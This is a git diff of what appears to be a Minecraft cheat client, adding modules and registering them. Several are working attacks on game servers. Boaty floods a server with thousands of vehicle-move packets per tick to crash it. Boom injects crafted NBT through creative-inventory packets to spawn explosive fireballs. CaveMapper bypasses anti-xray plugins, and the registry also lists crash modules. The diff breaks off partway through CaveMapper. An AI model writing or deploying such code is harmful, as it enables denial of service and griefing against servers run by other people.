super("Taco", 0, SipoverPrivate.client.getWindow().getScaledHeight(), 100, 100);
|
||||
}
|
||||
|
||||
@Override public void renderIntern(MatrixStack stack) {
|
||||
if (!me.x150.sipprivate.feature.command.impl.Taco.config.enabled) {
|
||||
return;
|
||||
}
|
||||
me.x150.sipprivate.feature.command.impl.Taco.Frame frame = me.x150.sipprivate.feature.command.impl.Taco.getCurrentFrame();
|
||||
if (frame == null) {
|
||||
FontRenderers.getMono().drawString(stack, "Nothing to taco", 0, 0, 0xFFFFFF);
|
||||
return;
|
||||
}
|
||||
Identifier current = frame.getI();
|
||||
|
||||
RenderSystem.disableBlend();
|
||||
RenderSystem.setShaderTexture(0, current);
|
||||
RenderSystem.setShaderColor(1, 1, 1, 1);
|
||||
RenderSystem.setShader(GameRenderer::getPositionTexShader);
|
||||
DrawableHelper.drawTexture(stack, 0, 0, 0, 0, 0, (int) width, (int) height, (int) width, (int) height);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,17 @@
|
|||
package me.x150.sipprivate.feature.gui.hud.element;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.feature.module.impl.render.TargetHud;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
|
||||
public class TargetHUD extends HudElement {
|
||||
|
||||
public TargetHUD() {
|
||||
super("Target HUD", SipoverPrivate.client.getWindow().getScaledWidth() / 2f + 10, SipoverPrivate.client.getWindow().getScaledHeight() / 2f + 10, TargetHud.modalWidth, TargetHud.modalHeight);
|
||||
}
|
||||
|
||||
@Override public void renderIntern(MatrixStack stack) {
|
||||
ModuleRegistry.getByClass(TargetHud.class).draw(stack);
|
||||
}
|
||||
}
|
|
@ -5,13 +5,10 @@
|
|||
|
||||
package me.x150.sipprivate.feature.gui.notifications;
|
||||
|
||||
import me.zeroX150.atomic.feature.module.ModuleRegistry;
|
||||
import me.zeroX150.atomic.feature.module.impl.render.Hud;
|
||||
import me.zeroX150.atomic.helper.font.FontRenderers;
|
||||
import me.x150.sipprivate.helper.font.FontRenderers;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
|
||||
public class Notification {
|
||||
|
||||
|
@ -51,13 +48,11 @@ public class Notification {
|
|||
*/
|
||||
public static Notification create(long duration, String title, boolean topBar, String... contents) {
|
||||
Notification n = new Notification(duration, title, contents);
|
||||
if (Objects.requireNonNull(ModuleRegistry.getByClass(Hud.class)).isEnabled()) {
|
||||
if (topBar) {
|
||||
n.posY = n.renderPosY = -69;
|
||||
NotificationRenderer.topBarNotifications.add(0, n);
|
||||
} else {
|
||||
NotificationRenderer.notifications.add(0, n);
|
||||
}
|
||||
if (topBar) {
|
||||
n.posY = n.renderPosY = -69;
|
||||
NotificationRenderer.topBarNotifications.add(0, n);
|
||||
} else {
|
||||
NotificationRenderer.notifications.add(0, n);
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
|
|
@ -5,6 +5,27 @@
|
|||
|
||||
package me.x150.sipprivate.feature.module;
|
||||
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.AntiOffhandCrash;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.AntiPacketKick;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.AntiReducedDebugInfo;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.BoatPhase;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.Boaty;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.Boom;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.CaveMapper;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.InstaBow;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.NoComCrash;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.OOBCrash;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.OffhandCrash;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.Phase;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.VanillaSpoof;
|
||||
import me.x150.sipprivate.feature.module.impl.exploit.Voider;
|
||||
import me.x150.sipprivate.feature.module.impl.movement.Flight;
|
||||
import me.x150.sipprivate.feature.module.impl.movement.Sprint;
|
||||
import me.x150.sipprivate.feature.module.impl.render.Fullbright;
|
||||
import me.x150.sipprivate.feature.module.impl.render.Hud;
|
||||
import me.x150.sipprivate.feature.module.impl.render.TargetHud;
|
||||
import me.x150.sipprivate.feature.module.impl.render.XRAY;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
|
@ -14,7 +35,26 @@ public class ModuleRegistry {
|
|||
|
||||
public static void init() {
|
||||
initialized = true;
|
||||
|
||||
modules.add(new Flight());
|
||||
modules.add(new Sprint());
|
||||
modules.add(new Fullbright());
|
||||
modules.add(new Hud());
|
||||
modules.add(new TargetHud());
|
||||
modules.add(new AntiOffhandCrash());
|
||||
modules.add(new AntiPacketKick());
|
||||
modules.add(new AntiReducedDebugInfo());
|
||||
modules.add(new BoatPhase());
|
||||
modules.add(new Boaty());
|
||||
modules.add(new Boom());
|
||||
modules.add(new CaveMapper());
|
||||
modules.add(new InstaBow());
|
||||
modules.add(new NoComCrash());
|
||||
modules.add(new OffhandCrash());
|
||||
modules.add(new OOBCrash());
|
||||
modules.add(new Phase());
|
||||
modules.add(new VanillaSpoof());
|
||||
modules.add(new XRAY());
|
||||
modules.add(new Voider());
|
||||
// TODO: 18.12.21 add modules
|
||||
}
|
||||
|
||||
|
|
|
@ -0,0 +1,58 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.network.packet.s2c.play.PlaySoundS2CPacket;
|
||||
import net.minecraft.sound.SoundEvents;
|
||||
|
||||
public class AntiOffhandCrash extends Module {
|
||||
|
||||
public AntiOffhandCrash() {
|
||||
super("AntiOffhandCrash", "shut fuck inertia", ModuleType.EXPLOIT);
|
||||
Events.registerEventHandler(EventType.PACKET_RECEIVE, event1 -> {
|
||||
if (!this.isEnabled()) {
|
||||
return;
|
||||
}
|
||||
PacketEvent event = (PacketEvent) event1;
|
||||
if (event.getPacket() instanceof PlaySoundS2CPacket) {
|
||||
if (((PlaySoundS2CPacket) event.getPacket()).getSound() == SoundEvents.ITEM_ARMOR_EQUIP_GENERIC) {
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
|
||||
public class AntiPacketKick extends Module {
|
||||
|
||||
public AntiPacketKick() {
|
||||
super("AntiPacketKick", "remember the \"internal exception\" moments? say goodbye to these", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class AntiReducedDebugInfo extends Module {
|
||||
|
||||
public AntiReducedDebugInfo() {
|
||||
super("AntiRDI", "Stops the \"reduced debug info\" gamerule from taking effect", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
boolean origDebugInfoReduce = Objects.requireNonNull(SipoverPrivate.client.player).hasReducedDebugInfo() || SipoverPrivate.client.options.reducedDebugInfo;
|
||||
return origDebugInfoReduce ? "Active!" : null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.gui.notifications.Notification;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.vehicle.BoatEntity;
|
||||
|
||||
public class BoatPhase extends Module {
|
||||
|
||||
public BoatPhase() {
|
||||
super("BoatPhase", "physics :tm:", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
if (SipoverPrivate.client.player == null || SipoverPrivate.client.getNetworkHandler() == null) {
|
||||
return;
|
||||
}
|
||||
if (!(SipoverPrivate.client.player.getVehicle() instanceof BoatEntity)) {
|
||||
Notification.create(5000, "Boat phase", true, "sir you need a boat");
|
||||
setEnabled(false);
|
||||
return;
|
||||
}
|
||||
SipoverPrivate.client.player.getVehicle().noClip = true;
|
||||
SipoverPrivate.client.player.getVehicle().setNoGravity(true);
|
||||
SipoverPrivate.client.player.noClip = true;
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,81 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.render.Renderer;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.network.packet.c2s.play.VehicleMoveC2SPacket;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.util.Objects;
|
||||
|
||||
public class Boaty extends Module {
|
||||
|
||||
// final SliderValue amount = this.config.create("Amount per tick", 2000, 1, 10000, 0);
|
||||
IntSetting amount = this.config.create(new IntSetting.Builder(2000).name("Amount per tick").description("How many packets to send per tick").min(1).max(10000).get());
|
||||
boolean running = false;
|
||||
Vec3d start = null;
|
||||
|
||||
public Boaty() {
|
||||
super("Boaty", "Uses boats to crash a server", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
if (Objects.requireNonNull(SipoverPrivate.client.player).hasVehicle()) {
|
||||
Entity vehicle = SipoverPrivate.client.player.getVehicle();
|
||||
if (!running) {
|
||||
BlockPos start = SipoverPrivate.client.player.getBlockPos();
|
||||
this.start = new Vec3d(start.getX() + .5, start.getY() + 1, start.getZ() + .5);
|
||||
}
|
||||
running = true;
|
||||
Objects.requireNonNull(vehicle).updatePosition(start.x, start.y - 1, start.z);
|
||||
VehicleMoveC2SPacket p = new VehicleMoveC2SPacket(vehicle);
|
||||
for (int i = 0; i < amount.getValue(); i++) {
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(p);
|
||||
}
|
||||
} else {
|
||||
running = false;
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
this.start = null;
|
||||
running = false;
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return running ? "Running" : "Not running";
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
if (start != null) {
|
||||
Renderer.R3D.renderFilled(start.subtract(.1, .1, .1), new Vec3d(.2, .2, .2), Utils.getCurrentRGB(), matrices);
|
||||
Renderer.R3D.line(start, start.add(0, -1, 0), Color.RED, matrices);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onFastTick_NWC() {
|
||||
if (SipoverPrivate.client.world == null || SipoverPrivate.client.player == null) {
|
||||
setEnabled(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,153 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.DoubleSetting;
|
||||
import me.x150.sipprivate.config.EnumSetting;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.feature.gui.notifications.Notification;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.MouseEvent;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.mixin.PlayerInteractEntityC2SPacketAccessor;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.EntityType;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
|
||||
import net.minecraft.util.Hand;
|
||||
import net.minecraft.util.hit.BlockHitResult;
|
||||
import net.minecraft.util.hit.HitResult;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Direction;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
public class Boom extends Module {
|
||||
// final SliderValue speed = (SliderValue) this.config.create("Speed", 2, 1, 10, 1).description("How fast to fire the fireball");
|
||||
// final SliderValue power = (SliderValue) this.config.create("Power", 20, 0, 127, 0).description("How big the fireball's gonna be");
|
||||
// final MultiValue mode = (MultiValue) this.config.create("Mode", "fbGhast", "fbGhast", "fbInstant").description("How to do the funny");
|
||||
DoubleSetting speed = this.config.create(new DoubleSetting.Builder(2).name("Speed").description("How fast the fireball goes").min(1).max(10).precision(1).get());
|
||||
IntSetting power = this.config.create(new IntSetting.Builder(20).name("Power").description("How big the fireball will be").min(0).max(127).get());
|
||||
EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.FireballGhast).name("Mode").description("How to send the fireball off").get());
|
||||
long lastFired = 0L;
|
||||
|
||||
public Boom() {
|
||||
super("Boom", "oh shit", ModuleType.EXPLOIT);
|
||||
Events.registerEventHandler(EventType.MOUSE_EVENT, event -> {
|
||||
if (!this.isEnabled() || SipoverPrivate.client.currentScreen != null) {
|
||||
return;
|
||||
}
|
||||
MouseEvent me = (MouseEvent) event;
|
||||
if (me.getButton() == 0 && me.getAction() == MouseEvent.MouseEventType.MOUSE_CLICKED) {
|
||||
if (mode.getValue() == Mode.FireballGhast) {
|
||||
fbGhast();
|
||||
} else {
|
||||
fbInstant();
|
||||
}
|
||||
}
|
||||
});
|
||||
speed.showIf(() -> mode.getValue() == Mode.FireballGhast);
|
||||
// this is basically just to prevent the double hitting the fireball
|
||||
// if we hit the fireball after we fired it (1 second time frame from fire -> hit), we just don't do it
|
||||
// we don't want to reset velocity we gave it
|
||||
Events.registerEventHandler(EventType.PACKET_SEND, event -> {
|
||||
if (!this.isEnabled()) {
|
||||
return;
|
||||
}
|
||||
PacketEvent pe = (PacketEvent) event;
|
||||
if (pe.getPacket() instanceof PlayerInteractEntityC2SPacket e) {
|
||||
PlayerInteractEntityC2SPacketAccessor a = (PlayerInteractEntityC2SPacketAccessor) e;
|
||||
Entity entity = Objects.requireNonNull(SipoverPrivate.client.world).getEntityById(a.getEntityId());
|
||||
if (entity != null && entity.getType() == EntityType.FIREBALL && System.currentTimeMillis() - lastFired < 1000) {
|
||||
event.setCancelled(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void fbInstant() {
|
||||
if (!Objects.requireNonNull(SipoverPrivate.client.interactionManager).hasCreativeInventory()) {
|
||||
return;
|
||||
}
|
||||
HitResult hr = Objects.requireNonNull(SipoverPrivate.client.player).raycast(200, 0, false);
|
||||
Vec3d n = hr.getPos();
|
||||
String nbt = String.format("{EntityTag:{id:\"minecraft:fireball\",ExplosionPower:%db,Motion:[%sd,%sd,%sd],Pos:[%s,%s,%s],Item:{id:\"minecraft:egg\",Count:1b}}}", ((int) Math.floor(power.getValue())), 0, -2, 0, n.getX(), n.getY(), n.getZ());
|
||||
ItemStack stack = Utils.generateItemStackWithMeta(nbt, Items.BAT_SPAWN_EGG);
|
||||
ItemStack air = SipoverPrivate.client.player.getInventory().getMainHandStack().copy();
|
||||
Vec3d a = SipoverPrivate.client.player.getEyePos();
|
||||
BlockHitResult bhr = new BlockHitResult(a, Direction.DOWN, new BlockPos(a), false);
|
||||
CreativeInventoryActionC2SPacket u1 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), stack);
|
||||
CreativeInventoryActionC2SPacket u2 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), air);
|
||||
PlayerInteractBlockC2SPacket p1 = new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(u1);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(p1);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(u2);
|
||||
lastFired = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
void fbGhast() {
|
||||
if (!Objects.requireNonNull(SipoverPrivate.client.interactionManager).hasCreativeInventory()) {
|
||||
return;
|
||||
}
|
||||
Vec3d v = Objects.requireNonNull(SipoverPrivate.client.player).getRotationVector();
|
||||
v = v.multiply(speed.getValue() / 10d);
|
||||
// ((int) Math.floor(power.getValue()))
|
||||
String nbt = String.format("{EntityTag:{id:\"minecraft:fireball\",ExplosionPower:%db,power:[%s,%s,%s],Item:{id:\"minecraft:egg\",Count:1b}}}", ((int) Math.floor(power.getValue())), v.x, v.y, v.z);
|
||||
ItemStack stack = Utils.generateItemStackWithMeta(nbt, Items.BAT_SPAWN_EGG);
|
||||
ItemStack air = SipoverPrivate.client.player.getInventory().getMainHandStack().copy();
|
||||
Vec3d a = SipoverPrivate.client.player.getEyePos();
|
||||
BlockHitResult bhr = new BlockHitResult(a, Direction.DOWN, new BlockPos(a), false);
|
||||
CreativeInventoryActionC2SPacket u1 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), stack);
|
||||
CreativeInventoryActionC2SPacket u2 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), air);
|
||||
PlayerInteractBlockC2SPacket p1 = new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(u1);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(p1);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(u2);
|
||||
lastFired = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
@Override public void tick() {
|
||||
if (!Objects.requireNonNull(SipoverPrivate.client.interactionManager).hasCreativeInventory()) {
|
||||
Notification.create(6000, "", true, "You need to be in creative");
|
||||
setEnabled(false);
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void enable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public void disable() {
|
||||
|
||||
}
|
||||
|
||||
@Override public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public enum Mode {
|
||||
FireballGhast, FireballInstant
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,369 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.module.impl.exploit;
|
||||
|
||||
import com.mojang.blaze3d.systems.RenderSystem;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.BooleanSetting;
|
||||
import me.x150.sipprivate.config.IntSetting;
|
||||
import me.x150.sipprivate.config.SettingsGroup;
|
||||
import me.x150.sipprivate.feature.gui.notifications.Notification;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
import me.x150.sipprivate.feature.module.impl.render.XRAY;
|
||||
import me.x150.sipprivate.helper.render.Renderer;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.block.Block;
|
||||
import net.minecraft.block.BlockState;
|
||||
import net.minecraft.block.Blocks;
|
||||
import net.minecraft.client.render.BufferBuilder;
|
||||
import net.minecraft.client.render.BufferRenderer;
|
||||
import net.minecraft.client.render.Camera;
|
||||
import net.minecraft.client.render.GameRenderer;
|
||||
import net.minecraft.client.render.Tessellator;
|
||||
import net.minecraft.client.render.VertexFormat;
|
||||
import net.minecraft.client.render.VertexFormats;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.MathHelper;
|
||||
import net.minecraft.util.math.Matrix4f;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
import org.lwjgl.opengl.GL11;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.util.AbstractMap;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
public class CaveMapper extends Module {
|
||||
|
||||
final Map<Block, Color> oreColors = new HashMap<>();
|
||||
final List<BlockPos> scannedBlocks = new ArrayList<>();
|
||||
final List<BlockPos> ores = new ArrayList<>();
|
||||
final List<BlockPos> toScan = new ArrayList<>();
|
||||
final List<Map.Entry<BlockPos, List<Vec3d>>> circ = new ArrayList<>();
|
||||
// final BooleanValue coal = (BooleanValue) this.config.create("Coal", false).description("Whether or not to show coal");
|
||||
// final BooleanValue iron = (BooleanValue) this.config.create("Iron", false).description("Whether or not to show iron");
|
||||
// final BooleanValue gold = (BooleanValue) this.config.create("Gold", false).description("Whether or not to show gold");
|
||||
// final BooleanValue redstone = (BooleanValue) this.config.create("Redstone", false).description("Whether or not to show redstone");
|
||||
// final BooleanValue diamond = (BooleanValue) this.config.create("Diamond", true).description("Whether or not to show diamond");
|
||||
// final BooleanValue lapis = (BooleanValue) this.config.create("Lapis", false).description("Whether or not to show lapis");
|
||||
// final BooleanValue copper = (BooleanValue) this.config.create("Kappa", false).description("Whether or not to show copper");
|
||||
// final BooleanValue emerald = (BooleanValue) this.config.create("Emerald", false).description("Whether or not to show emerald");
|
||||
// final BooleanValue quartz = (BooleanValue) this.config.create("Quartz", false).description("Whether or not to show quartz");
|
||||
// final BooleanValue debris = (BooleanValue) this.config.create("Ancient Debris", false).description("Whether or not to show ancient debris");
|
||||
// final BooleanValue showScanned = (BooleanValue) this.config.create("Show scanned", false).description("Shows the scanned area (VERY PERFORMANCE INTENSIVE)");
|
||||
// final BooleanValue showEntire = (BooleanValue) this.config.create("Show everything", false).description("Shows the entire cave when scanned mode is on");
|
||||
BooleanSetting coal = this.config.create(new BooleanSetting.Builder(false).name("Coal").description("Whether to show coal").get());
|
||||
BooleanSetting iron = this.config.create(new BooleanSetting.Builder(false).name("Iron").description("Whether to show iron").get());
|
||||
BooleanSetting gold = this.config.create(new BooleanSetting.Builder(false).name("Gold").description("Whether to show gold").get());
|
||||
BooleanSetting redstone = this.config.create(new BooleanSetting.Builder(false).name("Redstone").description("Whether to show redstone ore").get());
|
||||
BooleanSetting diamond = this.config.create(new BooleanSetting.Builder(true).name("Diamond").description("Whether to show diamonds").get());
|
||||
BooleanSetting lapis = this.config.create(new BooleanSetting.Builder(false).name("Lapis").description("Whether to show lapis").get());
|
||||
BooleanSetting copper = this.config.create(new BooleanSetting.Builder(false).name("Copper").description("Whether to show copper").get());
|
||||
BooleanSetting emerald = this.config.create(new BooleanSetting.Builder(false).name("Emerald").description("Whether to show emeralds").get());
|
||||
BooleanSetting quartz = this.config.create(new BooleanSetting.Builder(false).name("Quartz").description("Whether to show quartz").get());
|
||||
BooleanSetting debris = this.config.create(new BooleanSetting.Builder(true).name("Ancient debris").description("Whether to show ancient debris").get());
|
||||
BooleanSetting showScanned = this.config.create(new BooleanSetting.Builder(true).name("Show scanned").description("Whether to show the scanned area").get());
|
||||
BooleanSetting showEntire = this.config.create(new BooleanSetting.Builder(false).name("Show entire area")
|
||||
.description("Whether to show the entire scanned area (VERY performance intensive)").get());
|
||||
// final SliderValue cacheSize = (SliderValue) this.config.create("Cache size", 10000, 5000, 30000, 0)
|
||||
// .description("How big the cache should be (bigger = more time + more memory)");
|
||||
// final BooleanValue includeTranslucent = (BooleanValue) this.config.create("Scan transparent", true).description("Scans through transparent blocks aswell as air");
|
||||
IntSetting cacheSize = this.config.create(new IntSetting.Builder(10000).name("Cache size").description("How big the cache should be (bigger = more time + more memory)").min(5000)
|
||||
.max(30000).get());
|
||||
BooleanSetting includeTranslucent = this.config.create(new BooleanSetting.Builder(true).name("Scan transparent").description("Scan through transparent blocks as well").get());
|
||||
SettingsGroup scanner = this.config.create(new SettingsGroup.Builder().name("Scanner").description("The scanner configuration")
|
||||
.settings(coal, iron, gold, redstone, diamond, lapis, copper, emerald, quartz, debris, cacheSize, includeTranslucent).get());
|
||||
SettingsGroup rendering = this.config.create(new SettingsGroup.Builder().name("Rendering").description("The sexy stuff").settings(showScanned, showEntire).get());
|
||||
BlockPos start = null;
|
||||
boolean scanned = false;
|
||||
|
||||
public CaveMapper() {
|
||||
super("CaveMapper", "Maps a cave for ores, scanning for exposed ones, to bypass antixray plugins", ModuleType.EXPLOIT);
|
||||
oreColors.put(Blocks.COAL_ORE, new Color(47, 44, 54));
|
||||
oreColors.put(Blocks.IRON_ORE, new Color(236, 173, 119));
|
||||
oreColors.put(Blocks.GOLD_ORE, new Color(247, 229, 30));
|
||||
oreColors.put(Blocks.REDSTONE_ORE, new Color(245, 7, 23));
|
||||
oreColors.put(Blocks.DIAMOND_ORE, new Color(33, 244, 255));
|
||||
oreColors.put(Blocks.LAPIS_ORE, new Color(8, 26, 189));
|
||||
oreColors.put(Blocks.COPPER_ORE, new Color(239, 151, 0));
|
||||
oreColors.put(Blocks.EMERALD_ORE, new Color(27, 209, 45));
|
||||
oreColors.put(Blocks.NETHER_GOLD_ORE, new Color(247, 229, 30));
|
||||
oreColors.put(Blocks.NETHER_QUARTZ_ORE, new Color(205, 205, 205));
|
||||
oreColors.put(Blocks.ANCIENT_DEBRIS, new Color(209, 27, 245));
|
||||
